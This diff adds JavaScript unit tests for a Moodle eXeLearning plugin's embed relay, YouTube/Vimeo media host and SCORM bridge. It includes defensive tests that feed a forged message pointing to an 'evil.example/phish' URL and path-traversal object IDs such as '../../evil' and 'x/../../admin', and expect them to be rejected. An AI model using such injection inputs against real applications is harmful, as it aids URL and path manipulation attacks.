+        expect(document.querySelector('.exe-embed-overlay iframe').src).toMatch(/www\.youtube\.com\/embed\/abc123$/);
+
+        r.onMessage({
+            source: iframe.contentWindow,
+            data: {
+                type: 'exe-embed', action: 'sync',
+                embeds: [{ id: 'exe-embed-1', url: 'https://player.vimeo.com/video/12345', x: 0, y: 0, w: 425, h: 350 }],
+            },
+        });
+        const players = document.querySelectorAll('.exe-embed-overlay iframe');
+        expect(players.length).toBe(1);
+        expect(players[0].src).toMatch(/player\.vimeo\.com\/video\/12345$/);
+        expect(players[0].src).not.toMatch(/youtube/);
+    });
+
+    it('checkDrift() re-pins an overlay whose content iframe moved without any event', () => {
+        const r = relay.createRelay({ mode: 'open' });
+        r.onMessage({
+            source: iframe.contentWindow,
+            data: {
+                type: 'exe-embed', action: 'sync',
+                embeds: [{ id: 'e1', url: 'https://www.youtube.com/embed/abc123', x: 0, y: 0, w: 480, h: 270 }],
+            },
+        });
+        const overlay = document.querySelector('.exe-embed-overlay');
+        // Nothing moved yet: the drift check must be a no-op.
+        expect(r.checkDrift()).toBe(0);
+        // The host toggles a sidebar: the iframe box shifts with no scroll/resize.
+        iframe.getBoundingClientRect = () => ({ left: 120, top: 30, width: 500, height: 320, right: 620, bottom: 350 });
+        expect(r.checkDrift()).toBe(1);
+        expect(overlay.style.left).toBe('120px');
+        expect(overlay.style.top).toBe('30px');
+        expect(overlay.style.width).toBe('500px');
+        // Settled: a second pass changes nothing.
+        expect(r.checkDrift()).toBe(0);
+    });
+
+    it('dispose() tears down overlays like clear() and can be called before init()', () => {
+        const r = relay.createRelay({ mode: 'open' });
+        r.onMessage({
+            source: iframe.contentWindow,
+            data: {
+                type: 'exe-embed', action: 'sync',
+                embeds: [{ id: 'e1', url: 'https://www.youtube.com/embed/abc123', x: 0, y: 0, w: 480, h: 270 }],
+            },
+        });
+        expect(document.querySelectorAll('.exe-embed-overlay iframe').length).toBe(1);
+
+        r.dispose();
+        expect(document.querySelectorAll('.exe-embed-overlay').length).toBe(0);
+        // Idempotent: a second dispose() (or one before init) must not throw.
+        expect(() => r.dispose()).not.toThrow();
+    });
+
+    it('never treats a promoted player as a content source (forged-message defence)', () => {
+        const r = relay.createRelay({ mode: 'open' });
+        // A sandboxed player with allow-same-origin must not be able to impersonate the
+        // content iframe and inject embeds: tag an iframe like a player and verify a
+        // message from it is ignored.
+        const player = document.createElement('iframe');
+        player.setAttribute('data-exe-embed-player', '1');
+        document.body.appendChild(player);
+        r.onMessage({
+            source: player.contentWindow,
+            data: {
+                type: 'exe-embed', action: 'sync',
+                embeds: [{ id: 'x', url: 'https://evil.example/phish', x: 0, y: 0, w: 100, h: 100 }],
+            },
+        });
+        expect(document.querySelectorAll('.exe-embed-overlay iframe').length).toBe(0);
+    });
+
+    it('ignores a message whose source is not a known content iframe', () => {
+        const r = relay.createRelay({ mode: 'open' });
+        r.onMessage({
+            source: {},
+            data: {
+                type: 'exe-embed', action: 'sync',
+                embeds: [{ id: 'x', url: 'https://www.youtube.com/embed/abc123', x: 0, y: 0, w: 1, h: 1 }],
+            },
+        });
+        expect(document.querySelectorAll('.exe-embed-overlay iframe').length).toBe(0);
+    });
+
+    it('ignores non-embed messages', () => {
+        const r = relay.createRelay({ mode: 'open' });
+        r.onMessage({ source: iframe.contentWindow, data: { type: 'scorm', action: 'track', cmi: {} } });
+        expect(document.querySelectorAll('.exe-embed-overlay iframe').length).toBe(0);
+    });
+});
+
+describe('exe_embed_shim collect() geometry report', () => {
+    it('reports id + (absolute) url + numeric geometry for each placeholder', () => {
+        const root = document.createElement('div');
+        root.innerHTML =
+            '<iframe src="https://www.youtube.com/embed/aqz-KE-bpKQ" width="560" height="315"></iframe>';
+        shim.promote(root, { n: 0 });
+
+        const embeds = shim.collect(root);
+        expect(embeds.length).toBe(1);
+        expect(embeds[0].id).toMatch(/^exe-embed-/);
+        expect(embeds[0].url).toContain('youtube.com');
+        ['x', 'y', 'w', 'h'].forEach((k) => expect(typeof embeds[0][k]).toBe('number'));
+    });
+});
+
+// DEC-80-07 option 1: id-only provider channel. For recognized providers the shim sends
+// {provider, objectId} (not the author URL) and the parent reconstructs the canonical URL
+// from a fixed template after re-checking the object id against a strict regex, so a
+// malicious id cannot inject a path/query and escape the canonical embed path. The
+// structural invariant (validate) still runs on the reconstructed URL.
+describe('exe_embed_shim extractProvider() — recognized providers only', () => {
+    it('extracts {provider, objectId} for youtube/vimeo/dailymotion/educamadrid', () => {
+        expect(shim.extractProvider('https://www.youtube.com/embed/aqz-KE-bpKQ'))
+            .toEqual({ provider: 'youtube', objectId: 'aqz-KE-bpKQ' });
+        expect(shim.extractProvider('https://www.youtube-nocookie.com/embed/aqz-KE-bpKQ'))
+            .toEqual({ provider: 'youtube', objectId: 'aqz-KE-bpKQ' });
+        expect(shim.extractProvider('https://youtu.be/aqz-KE-bpKQ'))
+            .toEqual({ provider: 'youtube', objectId: 'aqz-KE-bpKQ' });
+        expect(shim.extractProvider('https://player.vimeo.com/video/76979871'))
+            .toEqual({ provider: 'vimeo', objectId: '76979871' });
+        expect(shim.extractProvider('https://www.dailymotion.com/embed/video/x8abc12'))
+            .toEqual({ provider: 'dailymotion', objectId: 'x8abc12' });
+        expect(shim.extractProvider('https://mediateca.educa.madrid.org/video/u555bvi3bk5wsabh/fs'))
+            .toEqual({ provider: 'mediateca-madrid', objectId: 'u555bvi3bk5wsabh' });
+    });
+
+    it('returns null for unknown hosts and malformed paths (falls back to URL mode)', () => {
+        expect(shim.extractProvider('https://some-new-provider.example/player/42')).toBeNull();
+        expect(shim.extractProvider('https://www.youtube.com/watch?v=aqz-KE-bpKQ')).toBeNull(); // not /embed/
+        expect(shim.extractProvider('https://player.vimeo.com/video/not-a-number')).toBeNull();
+        expect(shim.extractProvider('files/local.pdf')).toBeNull();
+    });
+
+    it('promote() stamps provider + objectId and collect() reports them (no raw author URL needed downstream)', () => {
+        const root = document.createElement('div');
+        root.innerHTML =
+            '<iframe src="https://www.youtube.com/embed/aqz-KE-bpKQ" width="560" height="315"></iframe>';
+        shim.promote(root, { n: 0 });
+        const e = shim.collect(root)[0];
+        expect(e.provider).toBe('youtube');
+        expect(e.objectId).toBe('aqz-KE-bpKQ');
+    });
+});
+
+describe('exe_embed_relay reconstructProvider() — canonical URL from id, strict id regex', () => {
+    it('builds the canonical URL for each provider', () => {
+        expect(relay.reconstructProvider('youtube', 'aqz-KE-bpKQ'))
+            .toBe('https://www.youtube-nocookie.com/embed/aqz-KE-bpKQ');
+        expect(relay.reconstructProvider('vimeo', '76979871'))
+            .toBe('https://player.vimeo.com/video/76979871');
+        expect(relay.reconstructProvider('dailymotion', 'x8abc12'))
+            .toBe('https://www.dailymotion.com/embed/video/x8abc12');
+        expect(relay.reconstructProvider('mediateca-madrid', 'u555bvi3bk5wsabh'))
+            .toBe('https://mediateca.educa.madrid.org/video/u555bvi3bk5wsabh/fs');
+    });
+
+    it('rejects an objectId that tries to escape the canonical path (traversal/slash/query/space)', () => {
+        ['../../evil', 'abc/def', 'abc?x=1', 'abc#frag', 'abc def', 'a b/c', '..', '', 'a@b'].forEach((bad) => {
+            expect(relay.reconstructProvider('youtube', bad)).toBeNull();
+        });
+        expect(relay.reconstructProvider('vimeo', 'not-a-number')).toBeNull();
+        expect(relay.reconstructProvider('unknown-provider', 'abc123')).toBeNull();
+        expect(relay.reconstructProvider('youtube', 42)).toBeNull(); // non-string
+    });
+});
+
+describe('exe_embed_relay createRelay() — id-only embeds', () => {
+    let iframe;
+    beforeEach(() => {
+        document.body.innerHTML = '';
+        iframe = document.createElement('iframe');
+        document.body.appendChild(iframe);
+    });
+
+    it('overlays the reconstructed canonical player from an id-only embed (no url field)', () => {
+        const r = relay.createRelay({ mode: 'open' });
+        r.onMessage({
+            source: iframe.contentWindow,
+            data: {
+                type: 'exe-embed', action: 'sync',
+                embeds: [{ id: 'e1', provider: 'youtube', objectId: 'aqz-KE-bpKQ', x: 0, y: 0, w: 480, h: 270 }],
+            },
+        });
+        const players = document.querySelectorAll('.exe-embed-overlay iframe');
+        expect(players.length).toBe(1);
+        expect(players[0].src).toMatch(/www\.youtube-nocookie\.com\/embed\/aqz-KE-bpKQ$/);
+    });
+
+    it('drops an id-only embed whose objectId tries to escape the canonical path', () => {
+        const r = relay.createRelay({ mode: 'open' });
+        r.onMessage({
+            source: iframe.contentWindow,
+            data: {
+                type: 'exe-embed', action: 'sync',
+                embeds: [{ id: 'e1', provider: 'youtube', objectId: 'x/../../admin', x: 0, y: 0, w: 1, h: 1 }],
+            },
+        });
+        expect(document.querySelectorAll('.exe-embed-overlay iframe').length).toBe(0);
+    });
+});
diff --git a/tests/js/exe_media_host.test.js b/tests/js/exe_media_host.test.js
new file mode 100644
index 0000000..7e12860
--- /dev/null
+++ b/tests/js/exe_media_host.test.js
@@ -0,0 +1,233 @@
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+// Unit tests for mod_exelearning's parent-side media host (DEC-80-07). The host is vendored
+// from eXeLearning's exe-media-host.js but drives the promoted YouTube/Vimeo player by RAW
+// postMessage (no YouTube IFrame API / Vimeo SDK on the Moodle page). These tests cover the
+// new, provider-protocol-critical pieces: the command builders, the inbound-event parsers,
+// and the adapter wiring (event → cached time/duration → callbacks). The handshake / modal /
+// command relay are unchanged from upstream (proven by eXeLearning's own suite).
+import { vi } from 'vitest';
+import '../../js/exe_media_policy.js';
+import '../../js/exe_media_host.js';
+
+const host = window.exeMediaHost;
+
+describe('exe_media_host — raw command builders (no SDK)', () => {
+    it('ytCommand builds the documented YouTube postMessage commands', () => {
+        expect(host._ytCommand('play')).toEqual({ event: 'command', func: 'playVideo', args: [] });
+        expect(host._ytCommand('pause')).toEqual({ event: 'command', func: 'pauseVideo', args: [] });
+        expect(host._ytCommand('seek', 42.5)).toEqual({ event: 'command', func: 'seekTo', args: [42.5, true] });
+        expect(host._ytCommand('listen')).toEqual({ event: 'listening' });
+        expect(host._ytCommand('bogus')).toBeNull();
+        expect(host._ytCommand('seek')).toEqual({ event: 'command', func: 'seekTo', args: [0, true] }); // no value → 0
+    });
+
+    it('vimeoCommand builds the documented Vimeo postMessage commands', () => {
+        expect(host._vimeoCommand('play')).toEqual({ method: 'play' });
+        expect(host._vimeoCommand('pause')).toEqual({ method: 'pause' });
+        expect(host._vimeoCommand('seek', 12)).toEqual({ method: 'setCurrentTime', value: 12 });
+        expect(host._vimeoCommand('bogus')).toBeNull();
+    });
+});
+
+describe('exe_media_host — YouTube event parser (JSON strings)', () => {
+    it('parses onReady / infoDelivery / onStateChange / onError', () => {
+        expect(host._parseYtEvent(JSON.stringify({ event: 'onReady', id: 1, channel: 'widget' }))).toEqual({ kind: 'ready' });
+        expect(host._parseYtEvent(JSON.stringify({ event: 'infoDelivery', info: { currentTime: 12.3, duration: 100, playerState: 1 } })))
+            .toEqual({ kind: 'info', currentTime: 12.3, duration: 100, playerState: 1 });
+        expect(host._parseYtEvent(JSON.stringify({ event: 'onStateChange', info: 0 })))
+            .toEqual({ kind: 'state', playerState: 0 });
+        expect(host._parseYtEvent(JSON.stringify({ event: 'onError', info: 150 })))
+            .toEqual({ kind: 'error', code: '150' });
+    });
+
+    it('rejects non-JSON, unknown events and missing fields', () => {
+        expect(host._parseYtEvent('not json')).toBeNull();
+        expect(host._parseYtEvent(JSON.stringify({ event: 'somethingElse' }))).toBeNull();
+        expect(host._parseYtEvent(JSON.stringify({ noEvent: true }))).toBeNull();
+        expect(host._parseYtEvent(null)).toBeNull();
+    });
+});
+
+describe('exe_media_host — Vimeo event parser (JSON strings)', () => {
+    it('parses ready / timeupdate / play / pause / ended / finish / error', () => {
+        expect(host._parseVimeoEvent(JSON.stringify({ event: 'ready', player_id: 'p' }))).toEqual({ kind: 'ready' });
+        expect(host._parseVimeoEvent(JSON.stringify({ event: 'timeupdate', data: { seconds: 5, duration: 50, percent: 0.1 } })))
+            .toEqual({ kind: 'timeupdate', currentTime: 5, duration: 50 });
+        expect(host._parseVimeoEvent(JSON.stringify({ event: 'play' }))).toEqual({ kind: 'play' });
+        expect(host._parseVimeoEvent(JSON.stringify({ event: 'pause' }))).toEqual({ kind: 'pause' });
+        expect(host._parseVimeoEvent(JSON.stringify({ event: 'ended' }))).toEqual({ kind: 'ended' });
+        expect(host._parseVimeoEvent(JSON.stringify({ event: 'finish' }))).toEqual({ kind: 'ended' });
+        expect(host._parseVimeoEvent(JSON.stringify({ event: 'error' }))).toEqual({ kind: 'error', code: 'vimeo_error' });
+        expect(host._parseVimeoEvent('garbage')).toBeNull();
+    });
+});
+
+describe('exe_media_host — youtubeRawAdapter wiring (no SDK loaded)', () => {
+    let container;
+    beforeEach(() => {
+        document.body.innerHTML = '';
+        container = document.createElement('div');
+        document.body.appendChild(container);
+    });
+
+    it('creates a controllable youtube-nocookie iframe (enablejsapi=1 + origin, referrerpolicy)', () => {
+        host._youtubeAdapter(container, 'dQw4w9WgXcQ', {});
+        const frame = container.querySelector('iframe');
+        expect(frame).not.toBeNull();
+        const src = frame.getAttribute('src');
+        expect(src).toMatch(/^https:\/\/www\.youtube-nocookie\.com\/embed\/dQw4w9WgXcQ\?/);
+        expect(src).toContain('enablejsapi=1');
+        expect(src).toContain('origin=');
+        expect(frame.getAttribute('referrerpolicy')).toBe('strict-origin-when-cross-origin');
+        // No global YT/Vimeo SDK is referenced by the host (raw postMessage only).
+        expect(window.YT).toBeUndefined();
+        expect(window.Vimeo).toBeUndefined();
+    });
+
+    it('updates cached time/duration and signals play/ended from the player events', () => {
+        const cb = { onPlay: vi.fn(), onPause: vi.fn(), onEnded: vi.fn(), onReady: vi.fn() };
+        const adapter = host._youtubeAdapter(container, 'dQw4w9WgXcQ', cb);
+        const frame = container.querySelector('iframe');
+
+        window.dispatchEvent(new MessageEvent('message', {
+            source: frame.contentWindow,
+            data: JSON.stringify({ event: 'infoDelivery', info: { currentTime: 9.5, duration: 120, playerState: 1 } }),
+        }));
+        expect(adapter.getCurrentTime()).toBe(9.5);
+        expect(adapter.getDuration()).toBe(120);
+        expect(cb.onPlay).toHaveBeenCalled();
+
+        window.dispatchEvent(new MessageEvent('message', {
+            source: frame.contentWindow,
+            data: JSON.stringify({ event: 'onStateChange', info: 0 }),
+        }));
+        expect(cb.onEnded).toHaveBeenCalled();
+    });
+
+    it('ignores messages whose source is not its own player iframe', () => {
+        const cb = { onPlay: vi.fn() };
+        const adapter = host._youtubeAdapter(container, 'abc12345678', cb);
+        const other = document.createElement('iframe');
+        document.body.appendChild(other);
+        window.dispatchEvent(new MessageEvent('message', {
+            source: other.contentWindow,
+            data: JSON.stringify({ event: 'infoDelivery', info: { currentTime: 5, duration: 10, playerState: 1 } }),
+        }));
+        expect(cb.onPlay).not.toHaveBeenCalled();
+        expect(adapter.getCurrentTime()).toBe(0);
+    });
+
+    it('destroy() removes the iframe and stops listening', () => {
+        const cb = { onPlay: vi.fn() };
+        const adapter = host._youtubeAdapter(container, 'abc12345678', cb);
+        const frame = container.querySelector('iframe');
+        adapter.destroy();
+        expect(container.querySelector('iframe')).toBeNull();
+        window.dispatchEvent(new MessageEvent('message', {
+            source: frame.contentWindow,
+            data: JSON.stringify({ event: 'onStateChange', info: 1 }),
+        }));
+        expect(cb.onPlay).not.toHaveBeenCalled();
+    });
+});
+
+describe('exe_media_host — vimeoRawAdapter wiring (no SDK loaded)', () => {
+    let container;
+    beforeEach(() => {
+        document.body.innerHTML = '';
+        container = document.createElement('div');
+        document.body.appendChild(container);
+    });
+
+    it('creates a player.vimeo.com iframe (api=1 + player_id)', () => {
+        host._vimeoAdapter(container, '76979871', {});
+        const frame = container.querySelector('iframe');
+        expect(frame.getAttribute('src')).toMatch(/^https:\/\/player\.vimeo\.com\/video\/76979871\?/);
+        expect(frame.getAttribute('src')).toContain('api=1');
+    });
+
+    it('caches time/duration from timeupdate and fires play/ended', () => {
+        const cb = { onPlay: vi.fn(), onEnded: vi.fn() };
+        const adapter = host._vimeoAdapter(container, '76979871', cb);
+        const frame = container.querySelector('iframe');
+        window.dispatchEvent(new MessageEvent('message', {
+            source: frame.contentWindow,
+            data: JSON.stringify({ event: 'timeupdate', data: { seconds: 7.2, duration: 200, percent: 0.03 } }),
+        }));
+        expect(adapter.getCurrentTime()).toBe(7.2);
+        expect(adapter.getDuration()).toBe(200);
+        window.dispatchEvent(new MessageEvent('message', { source: frame.contentWindow, data: JSON.stringify({ event: 'play' }) }));
+        expect(cb.onPlay).toHaveBeenCalled();
+        window.dispatchEvent(new MessageEvent('message', { source: frame.contentWindow, data: JSON.stringify({ event: 'ended' }) }));
+        expect(cb.onEnded).toHaveBeenCalled();
+    });
+});
+
+describe('exe_media_host openMedia() — single active media (audit L-2)', () => {
+    const TYPE = 'exe-media';
+    const V = 1;
+
+    function makeWin() {
+        const handlers = [];
+        return {
+            addEventListener(t, cb) { if (t === 'message') handlers.push(cb); },
+            removeEventListener(t, cb) { const i = handlers.indexOf(cb); if (i >= 0) handlers.splice(i, 1); },
+            _emit(evt) { handlers.slice().forEach((h) => h(evt)); },
+        };
+    }
+    function makeIframe() {
+        return { contentWindow: { postMessage() {} } };
+    }
+    function makeFakeChannel() {
+        const port1 = { onmessage: null, start() {}, close() {} };
+        const port2 = { onmessage: null, start() {}, close() {} };
+        port1.postMessage = (m) => { if (port2.onmessage) port2.onmessage({ data: m }); };
+        port2.postMessage = (m) => { if (port1.onmessage) port1.onmessage({ data: m }); };
+        return { port1, port2 };
+    }
+
+    afterEach(() => {
+        document.querySelectorAll('dialog.exe-media-modal').forEach((d) => d.remove());
+        if (host._resetForTests) host._resetForTests();
+    });
+
+    it('on a second open, tears down the previous adapter and modal (no stacking/leak)', () => {
+        const win = makeWin();
+        const iframe = makeIframe();
+        const ch = makeFakeChannel();
+        const adapters = [];
+        const factory = () => {
+            const a = {
+                destroyed: false,
+                play() {}, pause() {}, seek() {},
+                getCurrentTime() { return 0; }, getDuration() { return 0; },
+                destroy() { this.destroyed = true; },
+            };
+            adapters.push(a);
+            return a;
+        };
+        host.attach(iframe, { win, genId: () => 'N1', channelFactory: () => ch, youtubeFactory: factory, document });
+        win._emit({ source: iframe.contentWindow, data: { type: TYPE, v: V, action: 'hello', helloId: 'H1' } });
+        const send = (cmd) => ch.port2.postMessage(Object.assign({ type: TYPE, v: V, exelearningBridge: 'N1' }, cmd));
+        send({ action: 'open', reqId: 1, provider: 'youtube', videoId: 'dQw4w9WgXcQ' });
+        send({ action: 'open', reqId: 2, provider: 'youtube', videoId: 'oHg5SJYRHA0' });
+        expect(adapters.length).toBe(2);
+        expect(adapters[0].destroyed).toBe(true);   // previous torn down
+        expect(adapters[1].destroyed).toBe(false);  // current is live
+        expect(document.querySelectorAll('dialog.exe-media-modal').length).toBe(1);
+    });
+});
diff --git a/tests/js/scorm_api_wrapper.test.js b/tests/js/scorm_api_wrapper.test.js
new file mode 100644
index 0000000..33d2c94
--- /dev/null
+++ b/tests/js/scorm_api_wrapper.test.js
@@ -0,0 +1,166 @@
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+// Regression coverage for the vendored pipwerks wrapper (assets/scorm/SCORM_API_wrapper.js).
+//
+// The wrapper is normally "out of scope" for these JS suites, but its API lookup is
+// grade-critical: it is what eXeLearning's content calls to record SCORM scores, and a
+// defect there silently lost EVERY score in the secure (opaque-origin) iframe mode
+// (DEC-80-01/DEC-80-03). The vendored get() had been altered to look only in window.parent
+// and skip the current window. In secure mode the SCORM API is provided LOCALLY by the
+// in-iframe bridge shim (js/scorm_bridge_shim.js) as window.API, and the Moodle parent is
+// a cross-origin/opaque frame whose property access throws SecurityError. So the altered
+// get() reached straight into the opaque parent, threw, init() never activated the
+// connection, and LMSSetValue/LMSCommit became no-ops -> no attempt rows were written.
+//
+// These tests lock in the corrected behaviour: check the current window first, fall back
+// to a same-origin ancestor (legacy mode), and never let an opaque ancestor abort lookup.
+//
+// The wrapper is a classic browser script (top-level `var pipwerks = {}`, no module
+// exports), so it is loaded via new Function() with a fully controllable `window`, letting
+// each test model a specific frame topology (local API, opaque parent, same-origin parent).
+
+import fs from 'node:fs';
+import path from 'node:path';
+import { fileURLToPath } from 'node:url';
+
+const here = path.dirname(fileURLToPath(import.meta.url));
+const wrapperSrc = fs.readFileSync(
+    path.join(here, '../../assets/scorm/SCORM_API_wrapper.js'),
+    'utf8'
+);
+
+/**
+ * Load a fresh pipwerks instance bound to the given fake window. find()/get() read the
+ * `window` free variable, which we supply as the factory argument, so the wrapper sees
+ * exactly the frame topology the test sets up. A fresh instance per call avoids shared
+ * state (pipwerks.SCORM.version, connection.isActive) leaking between tests.
+ *
+ * @param {Object} win The fake window (must carry a console for trace()).
+ * @returns {Object} The wrapper's pipwerks namespace.
+ */
+function loadPipwerks(win) {
+    win.console = win.console || globalThis.console;
+    const factory = new Function('window', 'document', wrapperSrc + '\n;return pipwerks;');
+    return factory(win, win.document || {});
+}
+
+/**
+ * A minimal SCORM 1.2 API surface. Records LMSInitialize/LMSSetValue/LMSCommit calls so a
+ * test can assert the save path was actually driven. LMSGetLastError returns "0" so
+ * pipwerks treats the session as healthy.
+ *
+ * @param {string} tag An identity marker so tests can assert WHICH API was returned.
+ * @returns {Object}
+ */
+function makeApi(tag) {
+    const calls = [];
+    return {
+        tag,
+        calls,
+        LMSInitialize: (v) => { calls.push(['LMSInitialize', v]); return 'true'; },
+        LMSFinish: (v) => { calls.push(['LMSFinish', v]); return 'true'; },
+        LMSGetValue: (k) => { calls.push(['LMSGetValue', k]); return ''; },
+        LMSSetValue: (k, v) => { calls.push(['LMSSetValue', k, v]); return 'true'; },
+        LMSCommit: (v) => { calls.push(['LMSCommit', v]); return 'true'; },
+        LMSGetLastError: () => '0',
+        LMSGetErrorString: () => '',
+        LMSGetDiagnostic: () => '',
+    };
+}
+
+/** A frame whose .API / .API_1484_11 access throws, mimicking an opaque cross-origin parent. */
+function makeOpaqueFrame() {
+    const frame = {};
+    const blow = () => { throw new Error('SecurityError: Blocked a frame with origin "null" from accessing a cross-origin frame.'); };
+    Object.defineProperty(frame, 'API', { get: blow });
+    Object.defineProperty(frame, 'API_1484_11', { get: blow });
+    return frame;
+}
+
+describe('vendored pipwerks API.get (secure-mode regression)', () => {
+    it('returns the LOCAL window.API, not the parent\'s (current window checked first)', () => {
+        // Secure mode: the bridge shim put window.API in THIS frame; the parent also has a
+        // (different) API. The old build returned the parent's; we must return the local one.
+        const localApi = makeApi('local');
+        const parent = { API: makeApi('parent') };
+        parent.parent = parent;                       // stops the upward walk at the parent
+        const win = { API: localApi, parent, document: {} };
+
+        const pipwerks = loadPipwerks(win);
+
+        expect(pipwerks.SCORM.API.get()).toBe(localApi);
+    });
+
+    it('does not throw when the parent frame is opaque/cross-origin, and finds the local API', () => {
+        // The exact failure mode: reaching into the opaque parent threw SecurityError.
+        const localApi = makeApi('local');
+        const win = { API: localApi, parent: makeOpaqueFrame(), document: {} };
+
+        const pipwerks = loadPipwerks(win);
+
+        let got;
+        expect(() => { got = pipwerks.SCORM.API.get(); }).not.toThrow();
+        expect(got).toBe(localApi);
+    });
+
+    it('returns null (never throws) when no API is reachable and the parent is opaque', () => {
+        const win = { parent: makeOpaqueFrame(), document: {} };   // no local API
+
+        const pipwerks = loadPipwerks(win);
+
+        let got = 'unset';
+        expect(() => { got = pipwerks.SCORM.API.get(); }).not.toThrow();
+        expect(got == null).toBe(true);
+    });
+
+    it('still walks up to a same-origin parent when there is no local API (legacy mode)', () => {
+        // Legacy same-origin mode: no local API, the Moodle parent hosts window.API.
+        const parentApi = makeApi('parent');
+        const parent = { API: parentApi };
+        parent.parent = parent;                       // stops the walk
+        const win = { parent, document: {} };
+
+        const pipwerks = loadPipwerks(win);
+
+        expect(pipwerks.SCORM.API.get()).toBe(parentApi);
+    });
+});
+
+describe('vendored pipwerks init (secure bridge end to end)', () => {
+    it('activates the connection through a LOCAL API even with an opaque parent', () => {
+        const localApi = makeApi('local');
+        const win = { API: localApi, parent: makeOpaqueFrame(), document: {} };
+
+        const pipwerks = loadPipwerks(win);
+        const ok = pipwerks.SCORM.init();             // init === connection.initialize
+
+        expect(ok).toBe(true);
+        expect(pipwerks.SCORM.connection.isActive).toBe(true);
+        expect(localApi.calls.some((c) => c[0] === 'LMSInitialize')).toBe(true);
+    });
+
+    it('set() reaches the local API once the connection is active (the score actually saves)', () => {
+        const localApi = makeApi('local');
+        const win = { API: localApi, parent: makeOpaqueFrame(), document: {} };
+
+        const pipwerks = loadPipwerks(win);
+        pipwerks.SCORM.init();
+        const saved = pipwerks.SCORM.set('cmi.core.score.raw', '100');
+
+        expect(saved).toBe(true);
+        expect(localApi.calls).toContainEqual(['LMSSetValue', 'cmi.core.score.raw', '100']);
+    });
+});
diff --git a/tests/js/scorm_bridge.test.js b/tests/js/scorm_bridge.test.js
new file mode 100644
index 0000000..c6c4c1c
--- /dev/null
+++ b/tests/js/scorm_bridge.test.js
@@ -0,0 +1,453 @@
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+// Side-effect imports: each module exposes its API on a window.* global (and on
+// module.exports). scorm_tracker must load before the shim (the shim calls
+// window.exeScormTracker). globals (describe/it/expect/vi) come from vitest.config.mjs.
+import '../../js/scorm_tracker.js';
+import '../../js/scorm_bridge_shim.js';
+import '../../js/scorm_bridge_relay.js';
+
+const shim = window.exeScormBridgeShim;
+const relay = window.exeScormBridge;
+
+/**
+ * Build a fake iframe window for the shim: captures messages posted to the parent
+ * and the registered 'message' listener so a test can drive the handshake. Uses the
+ * real (happy-dom) document so the shared tracker's objectid resolution works.
+ */
+function makeFakeWin(overrides = {}) {
+    const postedToParent = [];
+    const listeners = {};
+    const win = {
+        exeScormTracker: window.exeScormTracker,
+        parent: { postMessage: (msg) => postedToParent.push(msg) },
+        origin: 'null',
+        document,
+        addEventListener: (type, fn) => { (listeners[type] = listeners[type] || []).push(fn); },
+        postedToParent,
+        listeners,
+        ...overrides,
+    };
+    return win;
+}
+
+/** Deliver a message to the shim's registered onMessage listener. */
+function deliver(win, event) {
+    (win.listeners.message || []).forEach((fn) => fn(event));
+}
+
+describe('shim createMemoryStorage', () => {
+    it('behaves like a string-coercing in-memory Storage', () => {
+        const s = shim.createMemoryStorage();
+        expect(s.getItem('missing')).toBeNull();
+        s.setItem('a', 1);
+        expect(s.getItem('a')).toBe('1');     // coerced to string
+        expect(s.length).toBe(1);
+        expect(s.key(0)).toBe('a');
+        s.removeItem('a');
+        expect(s.getItem('a')).toBeNull();
+        expect(s.length).toBe(0);
+        s.setItem('b', 'x');
+        s.clear();
+        expect(s.length).toBe(0);
+    });
+});
+
+describe('shim isSandboxedOpaque', () => {
+    it('is true when the origin serializes to "null"', () => {
+        expect(shim.isSandboxedOpaque({ origin: 'null' })).toBe(true);
+    });
+
+    it('is true when web storage access throws a SecurityError (opaque origin)', () => {
+        const win = {
+            origin: 'https://moodle.test',
+            get localStorage() { throw new DOMException('blocked', 'SecurityError'); },
+        };
+        expect(shim.isSandboxedOpaque(win)).toBe(true);
+    });
+
+    it('is FALSE when storage throws a non-SecurityError in a real same-origin iframe (legacy, not opaque)', () => {
+        // A QuotaExceededError (or a disabled-storage policy) must NOT be mistaken for an
+        // opaque origin, or the shim would wrongly activate in legacy mode and lose grades.
+        const quota = { origin: 'https://moodle.test', get localStorage() { throw new DOMException('full', 'QuotaExceededError'); } };
+        expect(shim.isSandboxedOpaque(quota)).toBe(false);
+        const generic = { origin: 'https://moodle.test', get localStorage() { throw new Error('nope'); } };
+        expect(shim.isSandboxedOpaque(generic)).toBe(false);
+    });
+
+    it('is false for a same-origin window with working storage', () => {
+        const win = { origin: 'https://moodle.test', localStorage: shim.createMemoryStorage() };
+        expect(shim.isSandboxedOpaque(win)).toBe(false);
+    });
+});
+
+describe('shim installStoragePolyfill', () => {
+    it('replaces storage with in-memory implementations', () => {
+        const win = {};
+        shim.installStoragePolyfill(win);
+        win.localStorage.setItem('k', 'v');
+        expect(win.localStorage.getItem('k')).toBe('v');
+        win.sessionStorage.setItem('s', '1');
+        expect(win.sessionStorage.getItem('s')).toBe('1');
+    });
+});
+
+describe('shim isParentMessage', () => {
+    it('accepts config/ack and rejects everything else', () => {
+        expect(shim.isParentMessage({ type: 'scorm', action: 'config' })).toBe(true);
+        expect(shim.isParentMessage({ type: 'scorm', action: 'ack' })).toBe(true);
